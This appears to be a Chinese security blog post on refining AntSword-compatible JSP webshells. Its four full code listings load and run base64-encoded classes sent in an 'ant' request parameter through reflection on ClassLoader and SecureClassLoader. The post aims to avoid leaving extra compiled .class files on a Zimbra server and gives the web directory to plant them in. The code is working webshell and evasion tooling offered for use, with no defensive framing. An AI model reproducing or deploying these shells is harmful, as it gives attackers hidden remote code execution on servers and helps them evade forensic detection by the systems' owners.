Java 利用技巧 —— AntSword-JSP-Template 的优化

发布于 2024-09-08 13:42:40 字数 8123 浏览 10 评论 0

0x00 前言

在之前的文章 《Java 利用技巧——通过反射实现 webshell 编译文件的自删除》 曾介绍了通过反射实现 AntSword-JSP-Template 的方法。对于 AntSword-JSP-Template 中的 shell.jsp ,访问后会额外生成文件 shell_jsp$U.class 。 《Java 利用技巧——通过反射实现 webshell 编译文件的自删除》 中的方法,访问后会额外生成文件 shell_jsp$1.class 。 在某些特殊环境下,需要避免额外生成.class 文件。本文将以 Zimbra 环境为例,介绍实现方法,开源代码,记录细节。

0x01 简介

本文将要介绍以下内容:

  • 实现思路
  • 实现代码

0x02 实现思路

基于 《Java 利用技巧——通过反射实现 webshell 编译文件的自删除》 中的方法,访问后会额外生成文件 shell_jsp$1.class ,这里可以通过构造器避免额外生成.class 文件。

在具体使用过程中,需要注意如下问题:

(1) 反射机制中的构造器

正常调用的代码:

str=new String(StringBuffer);

通过反射实现的代码:

Constructor constructor=String.class.getConstructor(StringBuffer.class);
String str=(String)constructor.newInstance(StringBuffer);

(2) 选择合适的 defineClass() 方法

在 ClassLoader 类中, defineClass() 方法有多个重载,可以选择一个可用的重载,本文选择 defineClass(byte[] b, int off, int len)

(3)SecureClassLoader

使用构造器时,应使用 SecureClassLoader ,而不是 ClassLoader

示例代码:

Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);

0x03 实现代码

为了方便比较,这里给出每种实现方法的代码:

(1) test1.jsp

来自 AntSword-JSP-Template 中的 shell.jsp,代码如下:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

保存在 Zimbra 的 web 目录: /opt/zimbra/jetty_base/webapps/zimbra/

通过 Web 访问后在目录 /opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/ 生成以下文件:

  • _test1_jsp.java
  • _test1_jsp.class
  • _test1_jsp$U.class

(2) test2.jsp

来自 《Java 利用技巧——通过反射实现 webshell 编译文件的自删除》 中通过反射实现 AntSword-JSP-Template 的方法,代码如下:

<%@ page import="java.lang.reflect.Method" %>

<%!
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("ant");

    if (cls != null) {
        Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
        d.setAccessible(true);
        ClassLoader sysloader = getClass().getClassLoader();
        ClassLoader loader = new ClassLoader(sysloader) {};
        Class result = (Class) d.invoke(loader, base64Decode(cls),0,base64Decode(cls).length); 
        result.newInstance().equals(pageContext);

    }
    else{
        response.sendError(404);
    }
%>

通过 Web 访问后生成以下文件:

  • _test2_jsp.java
  • _test2_jsp.class
  • _test2_jsp$1.class

(3) test3.jsp

基于 test2.jsp,通过构造器实现,代码如下:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.security.SecureClassLoader" %>

<%!
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("ant");

    if (cls != null) {
        Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
        d.setAccessible(true);
        Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
        c.setAccessible(true);
        ClassLoader sysloader = this.getClass().getClassLoader();
        ClassLoader loader =(ClassLoader)c.newInstance(sysloader);
        Class result = (Class)d.invoke(loader,base64Decode(cls),0,base64Decode(cls).length);
        result.newInstance().equals(pageContext);
    }
    else{
        response.sendError(404);
    }
%>

通过 Web 访问后生成以下文件:

  • _test3_jsp.java
  • _test3_jsp.class

(4) test4.jsp

基于 test3.jsp,不使用 base64Decode() ,代码如下:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.security.SecureClassLoader" %>

<%
    String cls = request.getParameter("ant");

    if (cls != null) {
        byte[] str=null;
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            str = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), cls);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            str = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, cls);
        }
        Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
        d.setAccessible(true);
        Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
        c.setAccessible(true);
        ClassLoader sysloader = this.getClass().getClassLoader();
        ClassLoader loader =(ClassLoader)c.newInstance(sysloader);
        Class result = (Class)d.invoke(loader,str,0,str.length);
        result.newInstance().equals(pageContext);
    }
    else{
        response.sendError(404);
    }
%>

通过 Web 访问后生成以下文件:

  • _test4_jsp.java
  • _test4_jsp.class

在代码实现上需要注意 Java 语言中数组必须先初始化,然后才可以使用

0x04 小结

本文分享了一种不额外生成.class 文件的实现方法,对于开源的代码 test4.jsp,还可以应用到 Java 文件的编写中。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

轮廓§

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

yili302

文章 0 评论 0

晚霞

文章 0 评论 0

LLFFCC

文章 0 评论 0

陌路黄昏

文章 0 评论 0

xiaohuihui

文章 0 评论 0

你与昨日

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文